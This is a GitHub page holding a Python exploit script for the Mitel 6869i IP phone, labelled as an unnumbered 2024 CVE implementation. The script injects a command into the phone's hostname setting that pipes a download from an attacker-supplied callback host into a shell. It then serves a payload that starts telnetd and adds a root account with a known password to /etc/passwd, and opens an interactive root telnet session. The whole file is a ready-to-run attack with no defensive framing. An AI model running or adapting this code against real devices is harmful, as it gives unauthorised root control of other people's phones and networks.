-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit-provis.py
150 lines (129 loc) · 5.06 KB
/
exploit-provis.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Kyle Burns
import argparse, sys
import http.server
import socketserver
import threading
import os
import requests
import time
import telnetlib
class SingleRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(
b"telnetd &\r\necho 'qwerty:$1$fbBQkK9u$Bo2eWTs4.vuM02UEAczu8.:0:0:root:/:/bin/sh' >> /etc/passwd" # qwerty:qwerty
)
threading.Thread(target=self.shutdown_server, daemon=True).start()
def shutdown_server(self):
self.server.shutdown()
def run_server():
with socketserver.TCPServer(('', 80), SingleRequestHandler) as httpd:
print('Serving payload on port 80...')
httpd.serve_forever()
def patch_hostname(ip: str, username: str, password: str, callback: str):
endpoint = 'https://{}/'.format(ip)
requests.get((endpoint + 'provis.html'), verify=False) # requires an inital request before auth.
req = requests.get((endpoint + 'provis.html'), auth=(username, password),verify=False)
if req.status_code == 401:
print('Unable to authenticate to Mitel 6869i Application.')
sys.exit(1)
# patch hostname parameter.
payload = 'QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl {} | sh #'.format(callback)
data = {
'dhcp':'1',
'hostname':payload,
'ethernet_link_port0':'0',
'EapPCPortEnable':'1',
'ethernet_link_port1':'0',
'dhcpoverride':'0',
'lldp':'1',
'lldpInterval':'30',
'natIp':'0.0.0.0',
'natPort':'51620',
'natRtpPort':'51720',
'stunIp':'0.0.0.0',
'stunPort':'3478',
'turnIp':'0.0.0.0',
'turnPort':'3479',
'turnUser':'',
'turnPass':'',
'https_client_method':'TLS_SSLv3',
'https_validate_certificates':'1',
'https_validate_expires':'1',
'https_validate_hostname':'1',
'https_trusted_certs':'',
'sipdscp':'26',
'rtpdscp':'46',
'rtcpdscp':'46',
}
req = requests.post((endpoint + 'provis.html'), auth=(username, password), data=data,verify=False)
if 'Provisioning complete.' not in req.text:
print('Unable to patch `hostname` parameter. ')
sys.exit(1)
else:
print('Modified parameter successfully...')
# reboot phone.
req = requests.post((endpoint + 'reset.html'), auth=(username, password), data={ 'resetOption':0 }, verify=False)
if 'Restarting the hardware...' not in req.text:
print('Unable to patch `hostname` parameter. ')
sys.exit(1)
else:
print('Rebooting phone...')
return True
def main(ip: str, app_username: str, app_password: str, callback: str):
patch_hostname(ip, app_username, app_password, callback)
server_thread = threading.Thread(
target=run_server,
daemon=True
)
server_thread.start()
server_thread.join()
time.sleep(5)
conn(ip, '23', 'qwerty', 'qwerty') # Based on the /etc/passwd entry.
def conn(host: str, port: str, username: str, password: str):
try:
tn = telnetlib.Telnet(host, port, timeout=10)
tn.read_until(b'login: ')
tn.write(username.encode('ascii') + b'\n')
if password:
tn.read_until(b'Password: ')
tn.write(password.encode('ascii') + b'\n')
output = tn.read_until(b'# ', timeout=2).decode('ascii')
if '#' not in output:
print('Login incorrect.')
return
else:
print('Connected to {}:{}'.format(host, port))
while True:
user_input = input('(session) ')
if user_input.lower() == 'exit':
print('Connection closed by foreign host.')
sys.exit(1)
tn.write(user_input.encode('ascii') + b'\n')
conn_out = (tn.read_until(b'# ').decode('ascii').split('\n'))
print('\n'.join(conn_out[1:-1]))
except Exception as e:
print('An error occurred:', e)
finally:
tn.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2024-XXXX implementation.')
parser.add_argument('--debug', action='store_true', help='Verbose output for debugging and visual amazement (Default: False).')
parser.add_argument('ip', action='store', help='Mitel 6869i Application IP')
parser.add_argument('callback', action='store', help='IP used by Mitel 6869i to request the payload.')
parser.add_argument('-username', action='store', help='Mitel 6869i Application username (Default: admin).', default='admin')
parser.add_argument('-password', action='store', help='Mitel 6869i Application password (Default: 22222).', default='22222')
if len(sys.argv) == 1:
parser.print_help()
exit(1)
args = parser.parse_args()
if args.debug == True:
print(args)
if os.geteuid() != 0:
print('Run as root.')
sys.exit(1)
main(args.ip, args.username, args.password, args.callback)